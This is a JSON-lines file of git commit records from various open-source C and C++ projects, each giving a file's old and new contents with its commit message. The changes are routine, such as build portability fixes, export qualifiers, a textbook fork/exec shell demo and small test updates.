{"commit":"9f8a92329efad8a14294e0006f7a279087e994bd","old_file":"cbits\/siphash.h","new_file":"cbits\/siphash.h","old_contents":"#ifndef _hashable_siphash_h\n#define _hashable_siphash_h\n\n#include <stdint.h>\n\ntypedef uint64_t u64;\ntypedef uint32_t u32;\ntypedef uint16_t u16;\ntypedef uint8_t u8;\n\n#define SIPHASH_ROUNDS 2\n#define SIPHASH_FINALROUNDS 4\n\nu64 hashable_siphash(int, int, u64, u64, const u8 *, size_t);\nu64 hashable_siphash24(u64, u64, const u8 *, size_t);\n\n#if defined(__i386)\nu64 hashable_siphash24_sse2(u64, u64, const u8 *, size_t);\nu64 hashable_siphash24_sse41(u64, u64, const u8 *, size_t);\n#endif\n\n#endif \/* _hashable_siphash_h *\/\n","new_contents":"#ifndef _hashable_siphash_h\n#define _hashable_siphash_h\n\n#include <stdint.h>\n\ntypedef uint64_t u64;\ntypedef uint32_t u32;\ntypedef uint16_t u16;\ntypedef uint8_t u8;\n\n#define SIPHASH_ROUNDS 2\n#define SIPHASH_FINALROUNDS 4\n\nu64 hashable_siphash(int, int, u64, u64, const u8 *, size_t);\nu64 hashable_siphash24(u64, u64, const u8 *, size_t);\n\n#if defined(__i386) || defined(__x86_64)\n\n\/* To use SSE instructions on Windows, we have to adjust the stack\n   from its default of 4-byte alignment to use 16-byte alignment. *\/\n\n# if defined(_WIN32)\n#  define ALIGNED_STACK __attribute__((force_align_arg_pointer))\n# else\n#  define ALIGNED_STACK\n# endif\n\nu64 hashable_siphash24_sse2(u64, u64, const u8 *, size_t) ALIGNED_STACK;\nu64 hashable_siphash24_sse41(u64, u64, const u8 *, size_t) ALIGNED_STACK;\n#endif\n\n#endif \/* _hashable_siphash_h *\/\n","subject":"Use 16-byte stack alignment on Windows, if using SSE","message":"Use 16-byte stack alignment on Windows, if using SSE\n","lang":"C","license":"bsd-3-clause","repos":"ekmett\/hashable"}
{"commit":"40d6218a4da5c87723142bc7015bd6a85c52b590","old_file":"src\/CPlusPlusMangle.h","new_file":"src\/CPlusPlusMangle.h","old_contents":"#ifndef HALIDE_CPLUSPLUS_MANGLE_H\n#define HALIDE_CPLUSPLUS_MANGLE_H\n\n\/** \\file\n *\n * A simple function to get a C++ mangled function name for a function.\n *\/\n\n#include <string>\n#include \"IR.h\"\n#include \"Target.h\"\n\nnamespace Halide {\nnamespace Internal {\n\n\/** Return the mangled C++ name for a function.\n * The target parameter is used to decide on the C++\n * ABI\/mangling style to use.\n *\/\nstd::string cplusplus_function_mangled_name(const std::string &name, const std::vector<std::string> &namespaces,\n                                            Type return_type, const std::vector<ExternFuncArgument> &args,\n                                            const Target &target);\n\nvoid cplusplus_mangle_test();\n\n}\n\n}\n\n#endif\n","new_contents":"#ifndef HALIDE_CPLUSPLUS_MANGLE_H\n#define HALIDE_CPLUSPLUS_MANGLE_H\n\n\/** \\file\n *\n * A simple function to get a C++ mangled function name for a function.\n *\/\n\n#include <string>\n#include \"IR.h\"\n#include \"Target.h\"\n\nnamespace Halide {\nnamespace Internal {\n\n\/** Return the mangled C++ name for a function.\n * The target parameter is used to decide on the C++\n * ABI\/mangling style to use.\n *\/\nEXPORT std::string cplusplus_function_mangled_name(const std::string &name, const std::vector<std::string> &namespaces,\n                                                   Type return_type, const std::vector<ExternFuncArgument> &args,\n                                                   const Target &target);\n\nEXPORT void cplusplus_mangle_test();\n\n}\n\n}\n\n#endif\n","subject":"Add some EXPORT qualifiers for msvc","message":"Add some EXPORT qualifiers for msvc\n\n\nFormer-commit-id: d0593d880573052e6ae2790328a336a6a9865cc3","lang":"C","license":"mit","repos":"Trass3r\/Halide,Trass3r\/Halide,darkbuck\/Halide,darkbuck\/Halide,darkbuck\/Halide,darkbuck\/Halide,Trass3r\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide"}
{"commit":"9a20a37ba17ec6f37086acab58d1a12cf5eced37","old_file":"C\/APUE\/1-5-read-and-exec-from-stdin.c","new_file":"C\/APUE\/1-5-read-and-exec-from-stdin.c","old_contents":"","new_contents":"#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n\n#define MAXLINE 4096\n\nint main(int argc, char *argv[]) {\n    char buf[MAXLINE];\n    pid_t pid;\n    int status;\n\n    printf(\"%% \");\n    while (fgets(buf, MAXLINE, stdin) != NULL) {\n        buf[strlen(buf) - 1] = 0;\n\n        if ((pid = fork()) < 0) {\n            printf(\"fork error\");\n        } else if (pid == 0) { \/* child *\/\n            execlp(buf, buf, (char*)0);\n            printf(\"couldn't execute: %s\\n\", buf);\n            return -1;\n        }\n\n        if ((pid = waitpid(pid, &status, 0)) < 0) {\n            printf(\"waitpid error\");\n        }\n\n        printf(\"%% \");\n    }\n\n    return 0;\n}\n","subject":"Add read and execute command from stdin demo","message":"Add read and execute command from stdin demo\n","lang":"C","license":"mit","repos":"mzlogin\/snippets,mzlogin\/snippets,mzlogin\/snippets,mzlogin\/snippets,mzlogin\/snippets,mzlogin\/snippets,mzlogin\/snippets,mzlogin\/snippets"}
{"commit":"940a0d5b67b005f1fda448a4549a468745be827d","old_file":"include\/VolViz\/src\/GeometryDescriptor.h","new_file":"include\/VolViz\/src\/GeometryDescriptor.h","old_contents":"#ifndef VolViz_Geometry_h\n#define VolViz_Geometry_h\n\n#include \"Types.h\"\n\nnamespace VolViz {\n\nenum MoveMask : uint8_t {\n  None = 0x00,\n  X = 0x01,\n  Y = 0x02,\n  Z = 0x04,\n  All = 0x07\n};\n\nstruct GeometryDescriptor {\n  bool movable{true};\n  Color color{Colors::White()};\n};\n\nstruct AxisAlignedPlaneDescriptor : public GeometryDescriptor {\n  Length intercept{0 * meter};\n  Axis axis{Axis::X};\n};\n\n} \/\/ namespace VolViz\n\n#endif \/\/ VolViz_Geometry_h\n","new_contents":"#ifndef VolViz_Geometry_h\n#define VolViz_Geometry_h\n\n#include \"Types.h\"\n\nnamespace VolViz {\n\nenum MoveMask : uint8_t {\n  None = 0x00,\n  X = 0x01,\n  Y = 0x02,\n  Z = 0x04,\n  All = 0x07\n};\n\ninline Vector3f maskToUnitVector(MoveMask mask) noexcept {\n  Vector3f v = Vector3f::Zero();\n  auto maskRep = static_cast<uint8_t>(mask);\n\n  Expects(maskRep <= 0x07);\n\n  int idx{0};\n  while (maskRep != 0) {\n    if (maskRep & 0x01) v(idx) = 1.f;\n    maskRep >>= 1;\n    ++idx;\n  }\n\n  return v;\n}\n\nstruct GeometryDescriptor {\n  bool movable{true};\n  Color color{Colors::White()};\n};\n\nstruct AxisAlignedPlaneDescriptor : public GeometryDescriptor {\n  Length intercept{0 * meter};\n  Axis axis{Axis::X};\n};\n\n} \/\/ namespace VolViz\n\n#endif \/\/ VolViz_Geometry_h\n","subject":"Add function to convert MoveMak to mask vector","message":"Add function to convert MoveMak to mask vector\n","lang":"C","license":"mit","repos":"ithron\/VolViz,ithron\/VolViz,ithron\/VolViz"}
{"commit":"6114da642991db0da3122e5d129e5050a449605a","old_file":"fmacros.h","new_file":"fmacros.h","old_contents":"#ifndef __HIREDIS_FMACRO_H\n#define __HIREDIS_FMACRO_H\n\n#if defined(__linux__)\n#define _BSD_SOURCE\n#define _DEFAULT_SOURCE\n#endif\n\n#if defined(__CYGWIN__)\n#include <sys\/cdefs.h>\n#endif\n\n#if defined(__sun__)\n#define _POSIX_C_SOURCE 200112L\n#else\n#if !(defined(__APPLE__) && defined(__MACH__))\n#define _XOPEN_SOURCE 600\n#endif\n#endif\n\n#if defined(__APPLE__) && defined(__MACH__)\n#define _OSX\n#endif\n\n#endif\n","new_contents":"#ifndef __HIREDIS_FMACRO_H\n#define __HIREDIS_FMACRO_H\n\n#if defined(__linux__)\n#define _BSD_SOURCE\n#define _DEFAULT_SOURCE\n#endif\n\n#if defined(__CYGWIN__)\n#include <sys\/cdefs.h>\n#endif\n\n#if defined(__sun__)\n#define _POSIX_C_SOURCE 200112L\n#else\n#if !(defined(__APPLE__) && defined(__MACH__)) && !(defined(__FreeBSD__))\n#define _XOPEN_SOURCE 600\n#endif\n#endif\n\n#if defined(__APPLE__) && defined(__MACH__)\n#define _OSX\n#endif\n\n#endif\n","subject":"Fix compilation on FreeBSD 10.3 with default compiler","message":"Fix compilation on FreeBSD 10.3 with default compiler\n","lang":"C","license":"bsd-3-clause","repos":"jinguoli\/hiredis,jinguoli\/hiredis,thomaslee\/hiredis,jinguoli\/hiredis,thomaslee\/hiredis,redis\/hiredis,charsyam\/hiredis,charsyam\/hiredis,redis\/hiredis,redis\/hiredis"}
{"commit":"b8eb3a0a62af429ccd34fc43d1a74260733ce9c8","old_file":"TDTChocolate\/TDTFoundationAdditions.h","new_file":"TDTChocolate\/TDTFoundationAdditions.h","old_contents":"#import \"FoundationAdditions\/TDTLog.h\"\n#import \"FoundationAdditions\/TDTAssert.h\"\n#import \"FoundationAdditions\/TDTSuppressPerformSelectorLeakWarning.h\"\n#import \"FoundationAdditions\/NSArray+TDTFunctionalAdditions.h\"\n#import \"FoundationAdditions\/NSSet+TDTFunctionalAdditions.h\"\n#import \"FoundationAdditions\/TDTObjectOrDefault.h\"\n#import \"FoundationAdditions\/NSArray+TDTAdditions.h\"\n#import \"FoundationAdditions\/NSString+TDTAdditions.h\"\n#import \"FoundationAdditions\/NSData+TDTStringEncoding.h\"\n#import \"FoundationAdditions\/NSDate+TDTAdditions.h\"\n#import \"FoundationAdditions\/NSDate+TDTComparisons.h\"\n#import \"FoundationAdditions\/NSDateFormatter+TDTISO8601Formatting.h\"\n#import \"FoundationAdditions\/NSFileManager+TDTAdditions.h\"\n#import \"FoundationAdditions\/NSProcessInfo+TDTEnvironmentAdditions.h\"\n#import \"FoundationAdditions\/TDTBlockAdditions.h\"\n#import \"FoundationAdditions\/TDTKeychain.h\"\n","new_contents":"#import \"FoundationAdditions\/TDTLog.h\"\n#import \"FoundationAdditions\/TDTAssert.h\"\n#import \"FoundationAdditions\/TDTSuppressPerformSelectorLeakWarning.h\"\n#import \"FoundationAdditions\/NSArray+TDTFunctionalAdditions.h\"\n#import \"FoundationAdditions\/NSSet+TDTFunctionalAdditions.h\"\n#import \"FoundationAdditions\/TDTObjectOrDefault.h\"\n#import \"FoundationAdditions\/NSArray+TDTAdditions.h\"\n#import \"FoundationAdditions\/NSString+TDTAdditions.h\"\n#import \"FoundationAdditions\/NSData+TDTStringEncoding.h\"\n#import \"FoundationAdditions\/NSDate+TDTAdditions.h\"\n#import \"FoundationAdditions\/NSDate+TDTComparisons.h\"\n#import \"FoundationAdditions\/NSDateFormatter+TDTISO8601Formatting.h\"\n#import \"FoundationAdditions\/NSFileManager+TDTAdditions.h\"\n#import \"FoundationAdditions\/NSProcessInfo+TDTEnvironmentDetection.h\"\n#import \"FoundationAdditions\/TDTBlockAdditions.h\"\n","subject":"Fix header paths in FoundationAdditions umbrella header","message":"Fix header paths in FoundationAdditions umbrella header\n","lang":"C","license":"bsd-3-clause","repos":"talk-to\/Chocolate,talk-to\/Chocolate"}
{"commit":"d27b6dbfdf02311c3b3a0182f835661512c07f6a","old_file":"control.c","new_file":"control.c","old_contents":"#include \"hardware\/packet.h\"\n#include \"serial.h\"\n\nvoid btoa(int num, char *buf, int digits) {\n    int shift = digits - 1;\n    int current = pow(2, shift);\n\n    char digit[2];\n\n    while (current > 0) {\n        sprintf(digit, \"%d\", ((num & current) >> shift) & 1);\n        strncat(buf, digit, 1);\n\n        shift--;\n        current \/= 2;\n    }\n\n    strcat(buf, \"\\0\");\n}\n\nint main(int argc, char *argv[]) {\n    \/\/ 0: device\n    \/\/ 1: group\n    \/\/ 2: plug\n    \/\/ 3: status\n\n    char device[] = \"\\\\\\\\.\\\\\\\\COM5\";\n\n    if (serial_connect(device) == SERIAL_ERROR) {\n        printf(\"Failed to connect to serial device \\\"%s\\\"\\n\", device);\n        return 1;\n    }\n\n    struct Packet packet = { 0, 0, 0 };\n\n    if (serial_transmit(packet) == SERIAL_ERROR) {\n        printf(\"Failed to send data to serial device \\\"%s\\\"\\n\", device);\n        return 1;\n    }\n\n    serial_close(device);\n\n    return 0;\n}\n\n","new_contents":"#include \"hardware\/packet.h\"\n#include \"serial.h\"\n\nvoid btoa(int num, char *buf, int digits) {\n    int shift = digits - 1;\n    int current = pow(2, shift);\n\n    char digit[2];\n\n    while (current > 0) {\n        sprintf(digit, \"%d\", ((num & current) >> shift) & 1);\n        strncat(buf, digit, 1);\n\n        shift--;\n        current \/= 2;\n    }\n\n    strcat(buf, \"\\0\");\n}\n\nint main(int argc, char *argv[]) {\n    \/\/ 0: device\n    \/\/ 1: group\n    \/\/ 2: plug\n    \/\/ 3: status\n\n    char device[] = \"\\\\\\\\.\\\\\\\\COM5\";\n\n    if (serial_connect(device) == SERIAL_ERROR) {\n        printf(\"Failed to connect to serial device \\\"%s\\\"\\n\", device);\n        return 1;\n    }\n\n    struct Packet packet = { 1, 0, 3 };\n\n    if (serial_transmit(packet) == SERIAL_ERROR) {\n        printf(\"Failed to send data to serial device \\\"%s\\\"\\n\", device);\n        return 1;\n    }\n\n    serial_close();\n\n    return 0;\n}\n\n","subject":"Add test packet data and fix invalid serial_close call","message":"Add test packet data and fix invalid serial_close call\n","lang":"C","license":"agpl-3.0","repos":"jackwilsdon\/lightcontrol,jackwilsdon\/lightcontrol"}
{"commit":"ae8c31438bd884d1fe477fa5cb913895325e30bf","old_file":"src\/include\/fs\/dvfs.h","new_file":"src\/include\/fs\/dvfs.h","old_contents":"","new_contents":"\/* @author Denis Deryugin\n * @date 17 Mar 2015\n *\n * Dumb VFS\n *\/\n\n#ifndef _DVFS_H_\n#define _DVFS_H_\n\n#include <fs\/file_system.h>\n#include <util\/dlist.h>\n\n\/*****************\n New VFS prototype\n *****************\/\n\n#define DENTRY_NAME_LEN 16\n#define FS_NAME_LEN     16\n\nstruct super_block;\nstruct inode;\nstruct dentry;\nstruct dumb_fs_driver;\n\nstruct super_block {\n\tstruct dumb_fs_driver *fs_drv; \/* Assume that all FS have single driver *\/\n\tstruct block_dev *bdev;\n\n\tstruct dentry     *root;\n\tstruct dlist_head *inode_list;\n\n\tstruct super_block_operations *sb_ops;\n\n\tvoid *sb_data;\n};\n\nstruct super_block_operations {\n\tstruct inode *(*inode_alloc)(struct super_block *sb);\n\tint           (*destroy_inode)(struct inode *inode);\n\tint           (*write_inode)(struct inode *inode);\n\tint           (*umount_begin)(struct super_block *sb);\n};\n\nstruct inode {\n\tint    i_no;\n\tint    start_pos; \/* location on disk *\/\n\tsize_t length;\n\n\tstruct inode_operations\t*i_ops;\n\n\tvoid *i_data;\n};\n\nstruct inode_operations {\n\tstruct inode *(*create)(struct dentry *d_new, struct dentry *d_dir, int mode);\n\tstruct inode *(*lookup)(char *name, struct dentry *dir);\n\tint           (*mkdir)(struct dentry *d_new, struct dentry *d_parent);\n\tint           (*rmdir)(struct dentry *dir);\n\tint           (*truncate)(struct inode *inode, size_t len);\n\tint           (*pathname)(struct inode *inode, char *buf);\n};\n\nstruct dentry {\n\tchar name[DENTRY_NAME_LEN];\n\n\tstruct inode *inode;\n\n\tstruct dentry     *parent;\n\tstruct dlist_head *next;     \/* Next element in this directory *\/\n\tstruct dlist_head *children; \/* Subelemtnts of directory *\/\n};\n\nstruct file {\n\tstruct dentry *f_dentry;\n\n\toff_t pos;\n\n\tstruct file_operations *f_ops;\n};\n\nstruct file_operations {\n\tint    (*open)(struct node *node, struct file *file_desc, int flags);\n\tint    (*close)(struct file *desc);\n\tsize_t (*read)(struct file *desc, void *buf, size_t size);\n\tsize_t (*write)(struct file *desc, void *buf, size_t size);\n\tint    (*ioctl)(struct file *desc, int request, ...);\n};\n\nstruct dumb_fs_driver {\n\tconst char name[FS_NAME_LEN];\n};\n\n#endif\n","subject":"Add initial implementation of new VFS header","message":"Add initial implementation of new VFS header","lang":"C","license":"bsd-2-clause","repos":"abusalimov\/embox,Kakadu\/embox,vrxfile\/embox-trik,mike2390\/embox,gzoom13\/embox,Kefir0192\/embox,abusalimov\/embox,gzoom13\/embox,mike2390\/embox,Kefir0192\/embox,embox\/embox,vrxfile\/embox-trik,Kefir0192\/embox,Kefir0192\/embox,gzoom13\/embox,embox\/embox,gzoom13\/embox,Kakadu\/embox,vrxfile\/embox-trik,mike2390\/embox,abusalimov\/embox,embox\/embox,vrxfile\/embox-trik,mike2390\/embox,Kakadu\/embox,gzoom13\/embox,gzoom13\/embox,Kakadu\/embox,mike2390\/embox,embox\/embox,mike2390\/embox,vrxfile\/embox-trik,abusalimov\/embox,Kefir0192\/embox,mike2390\/embox,Kefir0192\/embox,abusalimov\/embox,Kakadu\/embox,vrxfile\/embox-trik,embox\/embox,embox\/embox,abusalimov\/embox,Kefir0192\/embox,vrxfile\/embox-trik,Kakadu\/embox,Kakadu\/embox,gzoom13\/embox"}
{"commit":"ee12537a18f3f9792f8379454affba5ad13030ad","old_file":"hardware\/main.c","new_file":"hardware\/main.c","old_contents":"#include <avr\/io.h>\n#include <util\/delay.h>\n#include <avr\/interrupt.h>\n\n#include \"deps\/util.h\"\n#include \"deps\/rcswitch.h\"\n\n#define PIN_RC PB2\n\n#include \"deps\/softuart.h\"\n#include \"packet.h\"\n\nint main(void) {\n    \/\/ initialize serial\n    softuart_init();\n\n    \/\/ enable interrupts\n    sei();\n\n    delay_ms(1000);\n\n    softuart_puts(\"Starting...\\r\\n\");\n\n    \/\/ enable the rc switch\n    rcswitch_enable(PIN_RC);\n\n    while (1) {\n\n        \/\/ if there is some data waiting for us\n        if (softuart_kbhit()) {\n\n            \/\/ parse the data\n            struct Packet packet;\n\n            binary_to_packet(&packet, softuart_getchar());\n\n            \/\/ handle the packet\n            if (packet.status) {\n                rcswitch_switch_on(packet.group + 1, packet.plug + 1);\n            } else {\n                rcswitch_switch_off(packet.group + 1, packet.plug + 1);\n            }\n        }\n    }\n\n    return 0;\n}\n","new_contents":"#include <avr\/io.h>\n#include <util\/delay.h>\n#include <avr\/interrupt.h>\n\n#include \"deps\/util.h\"\n#include \"deps\/rcswitch.h\"\n\n#define PIN_RC PB2\n\n#include \"deps\/softuart.h\"\n#include \"packet.h\"\n\nint main(void) {\n    \/\/ initialize serial\n    softuart_init();\n\n    \/\/ enable interrupts\n    sei();\n\n    \/\/ enable the rc switch\n    rcswitch_enable(PIN_RC);\n\n    while (1) {\n\n        \/\/ if there is some data waiting for us\n        if (softuart_kbhit()) {\n\n            \/\/ parse the data\n            struct Packet packet;\n\n            binary_to_packet(&packet, softuart_getchar());\n\n            \/\/ handle the packet\n            if (packet.status) {\n                rcswitch_switch_on(packet.group + 1, packet.plug + 1);\n            } else {\n                rcswitch_switch_off(packet.group + 1, packet.plug + 1);\n            }\n        }\n    }\n\n    return 0;\n}\n","subject":"Remove startup delay and messages","message":"Remove startup delay and messages\n","lang":"C","license":"agpl-3.0","repos":"jackwilsdon\/lightcontrol,jackwilsdon\/lightcontrol"}
{"commit":"d58d2404f23d48e2e399348e735133db912b5f60","old_file":"messaging\/qtmessaging.h","new_file":"messaging\/qtmessaging.h","old_contents":"","new_contents":"\/****************************************************************************\n**\n** Copyright (c) 2008-2009 Nokia Corporation and\/or its subsidiary(-ies).\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Mobility Components.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain\n** additional rights. These rights are described in the Nokia Qt LGPL\n** Exception version 1.0, included in the file LGPL_EXCEPTION.txt in this\n** package.\n**\n** If you have questions regarding the use of this file, please\n** contact Nokia at http:\/\/www.qtsoftware.com\/contact.\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n#ifndef QTMESSAGING_H\n#define QTMESSAGING_H\n\n#include \"qmessageglobal.h\"\n#include \"qmessageaccount.h\"\n#include \"qmessageaccountfilterkey.h\"\n#include \"qmessageaccountid.h\"\n#include \"qmessageaccountsortkey.h\"\n#include \"qmessagefolder.h\"\n#include \"qmessagefolderfilterkey.h\"\n#include \"qmessagefolderid.h\"\n#include \"qmessagefoldersortkey.h\"\n#include \"qmessage.h\"\n#include \"qmessagefilterkey.h\"\n#include \"qmessageid.h\"\n#include \"qmessagesortkey.h\"\n#include \"qmessagecontentcontainer.h\"\n#include \"qmessagecontentcontainerid.h\"\n#include \"qmessageaddress.h\"\n#include \"qmessageserviceaction.h\"\n#include \"qmessagestore.h\"\n\n#endif\n","subject":"Add header for including messaging module.","message":"Add header for including messaging module.\n","lang":"C","license":"lgpl-2.1","repos":"qtproject\/qt-mobility,kaltsi\/qt-mobility,kaltsi\/qt-mobility,tmcguire\/qt-mobility,enthought\/qt-mobility,kaltsi\/qt-mobility,KDE\/android-qt-mobility,KDE\/android-qt-mobility,qtproject\/qt-mobility,qtproject\/qt-mobility,tmcguire\/qt-mobility,tmcguire\/qt-mobility,enthought\/qt-mobility,KDE\/android-qt-mobility,kaltsi\/qt-mobility,tmcguire\/qt-mobility,kaltsi\/qt-mobility,enthought\/qt-mobility,tmcguire\/qt-mobility,enthought\/qt-mobility,qtproject\/qt-mobility,kaltsi\/qt-mobility,enthought\/qt-mobility,KDE\/android-qt-mobility,enthought\/qt-mobility,qtproject\/qt-mobility,qtproject\/qt-mobility"}
{"commit":"f7f41d9301d514a93c03a9cbcfeaf5be88906707","old_file":"include\/flags.h","new_file":"include\/flags.h","old_contents":"\/*\n * Copyright 2015-2016 Yury Gribov\n * \n * Use of this source code is governed by MIT license that can be\n * found in the LICENSE.txt file.\n *\/\n\n#ifndef FLAGS_H\n#define FLAGS_H\n\nenum CheckFlags {\n  CHECK_BASIC        = 1 << 0,\n  CHECK_REFLEXIVITY  = 1 << 1,\n  CHECK_SYMMETRY     = 1 << 2,\n  CHECK_TRANSITIVITY = 1 << 3,\n  CHECK_SORTED       = 1 << 4,\n  CHECK_GOOD_BSEARCH = 1 << 5,\n  CHECK_UNIQUE       = 1 << 6,\n  \/\/ Do not check reflexivity because it's normally not important (CHECK_REFLEXIVITY).\n  \/\/ Do not assume bsearch is commutative (CHECK_GOOD_BSEARCH).\n  CHECK_DEFAULT      = CHECK_BASIC | CHECK_SYMMETRY\n                       | CHECK_TRANSITIVITY | CHECK_SORTED,\n  CHECK_ALL          = 0xffffffff,\n};\n\ntypedef struct {\n  char debug : 1;\n  char report_error : 1;\n  char print_to_syslog : 1;\n  char raise : 1;\n  unsigned max_errors;\n  unsigned sleep;\n  unsigned checks;\n  const char *out_filename;\n} Flags;\n\nint parse_flags(char *opts, Flags *flags);\n\n#endif\n","new_contents":"\/*\n * Copyright 2015-2016 Yury Gribov\n * \n * Use of this source code is governed by MIT license that can be\n * found in the LICENSE.txt file.\n *\/\n\n#ifndef FLAGS_H\n#define FLAGS_H\n\nenum CheckFlags {\n  CHECK_BASIC        = 1 << 0,\n  CHECK_REFLEXIVITY  = 1 << 1,\n  CHECK_SYMMETRY     = 1 << 2,\n  CHECK_TRANSITIVITY = 1 << 3,\n  CHECK_SORTED       = 1 << 4,\n  CHECK_GOOD_BSEARCH = 1 << 5,\n  CHECK_UNIQUE       = 1 << 6,\n  \/\/ Do not check reflexivity because it's normally not important (CHECK_REFLEXIVITY).\n  \/\/ Do not assume bsearch is commutative (CHECK_GOOD_BSEARCH).\n  CHECK_DEFAULT      = CHECK_BASIC | CHECK_SYMMETRY\n                       | CHECK_TRANSITIVITY | CHECK_SORTED,\n  CHECK_ALL          = 0xffffffff,\n};\n\ntypedef struct {\n  unsigned char debug : 1;\n  unsigned char report_error : 1;\n  unsigned char print_to_syslog : 1;\n  unsigned char raise : 1;\n  unsigned max_errors;\n  unsigned sleep;\n  unsigned checks;\n  const char *out_filename;\n} Flags;\n\nint parse_flags(char *opts, Flags *flags);\n\n#endif\n","subject":"Make bitfield signs explicitly signed (detected by Semmle).","message":"Make bitfield signs explicitly signed (detected by Semmle).\n","lang":"C","license":"mit","repos":"yugr\/sortcheck,yugr\/sortcheck"}
{"commit":"e5ec294490ecb1fb0d609026b01dfd28a84538f9","old_file":"tests\/regression\/36-apron\/49-assert-refine.c","new_file":"tests\/regression\/36-apron\/49-assert-refine.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] apron\n#include <assert.h>\n\nvoid main() {\n  int x, y, z;\n\n  \/\/ TODO: make these asserts after distinction\n  __goblint_commit(x < y); \/\/ U NKNOWN! (refines)\n  __goblint_commit(y < z); \/\/ U NKNOWN! (refines)\n\n  __goblint_commit(3 <= x); \/\/ U NKNOWN! (refines)\n  __goblint_commit(z <= 5); \/\/ U NKNOWN! (refines)\n\n  assert(x == 3);\n  assert(y == 4);\n  assert(z == 5);\n}\n","subject":"Add test where octApron assert should refine","message":"Add test where octApron assert should refine\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"b7e1c268a1f1d242fe44703438fc41ef5bbe4c82","old_file":"testing\/unittest\/special_types.h","new_file":"testing\/unittest\/special_types.h","old_contents":"#pragma once\n\ntemplate <typename T, unsigned int N>\nstruct FixedVector\n{\n    T data[N];\n    \n    __host__ __device__\n    FixedVector() { }\n\n    __host__ __device__\n    FixedVector(T init)\n    {\n        for(unsigned int i = 0; i < N; i++)\n            data[i] = init;\n    }\n\n    __host__ __device__\n    FixedVector operator+(const FixedVector& bs) const\n    {\n        FixedVector output;\n        for(unsigned int i = 0; i < N; i++)\n            output.data[i] = data[i] + bs.data[i];\n        return output;\n    }\n    \n    __host__ __device__\n    bool operator<(const FixedVector& bs) const\n    {\n        for(unsigned int i = 0; i < N; i++)\n        {\n            if(data[i] < bs.data[i])\n                return true;\n            else if(bs.data[i] < data[i])\n                return false;\n        }\n        return false;\n    }\n\n    __host__ __device__\n    bool operator==(const FixedVector& bs) const\n    {\n        for(unsigned int i = 0; i < N; i++)\n        {\n            if(!(data[i] == bs.data[i]))\n                return false;\n        }\n        return true;                \n    }\n};\n\n\n","new_contents":"#pragma once\n\ntemplate <typename T, unsigned int N>\nstruct FixedVector\n{\n    T data[N];\n    \n    __host__ __device__\n    FixedVector() : data() { }\n\n    __host__ __device__\n    FixedVector(T init)\n    {\n        for(unsigned int i = 0; i < N; i++)\n            data[i] = init;\n    }\n\n    __host__ __device__\n    FixedVector operator+(const FixedVector& bs) const\n    {\n        FixedVector output;\n        for(unsigned int i = 0; i < N; i++)\n            output.data[i] = data[i] + bs.data[i];\n        return output;\n    }\n    \n    __host__ __device__\n    bool operator<(const FixedVector& bs) const\n    {\n        for(unsigned int i = 0; i < N; i++)\n        {\n            if(data[i] < bs.data[i])\n                return true;\n            else if(bs.data[i] < data[i])\n                return false;\n        }\n        return false;\n    }\n\n    __host__ __device__\n    bool operator==(const FixedVector& bs) const\n    {\n        for(unsigned int i = 0; i < N; i++)\n        {\n            if(!(data[i] == bs.data[i]))\n                return false;\n        }\n        return true;                \n    }\n};\n\n\n","subject":"Initialize FixedVector's member in its null constructor to eliminate a Wall warning.","message":"Initialize FixedVector's member in its null constructor to eliminate a Wall warning.\n","lang":"C","license":"apache-2.0","repos":"zeryx\/thrust,xiongzhanblake\/thrust,jaredhoberock\/thrust,thrust\/thrust,egaburov\/thrust,raygit\/thrust,arnabgho\/thrust,Ricardo666666\/thrust,sarvex\/thrust,jaredhoberock\/thrust,thvasilo\/thrust,dachziegel\/thrust,Ricardo666666\/thrust,xiongzhanblake\/thrust_src,dachziegel\/thrust,thrust\/thrust,xiongzhanblake\/thrust,xiongzhanblake\/thrust_src,zeryx\/thrust,jaredhoberock\/thrust,thrust\/thrust,raygit\/thrust,mohamed-ali\/thrust,marksantos\/thrust,mohamed-ali\/thrust,sdalton1\/thrust,zhenglaizhang\/thrust,marksantos\/thrust,sarvex\/thrust,xiongzhanblake\/thrust_src,mohamed-ali\/thrust,thvasilo\/thrust,sdalton1\/thrust,andrewcorrigan\/thrust-multi-permutation-iterator,GrimDerp\/thrust,sdalton1\/thrust,marksantos\/thrust,andrewcorrigan\/thrust-multi-permutation-iterator,sarvex\/thrust,andrewcorrigan\/thrust-multi-permutation-iterator,jaredhoberock\/thrust,thrust\/thrust,egaburov\/thrust,arnabgho\/thrust,jaredhoberock\/thrust,GrimDerp\/thrust,zhenglaizhang\/thrust,GrimDerp\/thrust,zhenglaizhang\/thrust,dachziegel\/thrust,zeryx\/thrust,arnabgho\/thrust,thvasilo\/thrust,xiongzhanblake\/thrust,thrust\/thrust,egaburov\/thrust,raygit\/thrust,Ricardo666666\/thrust"}
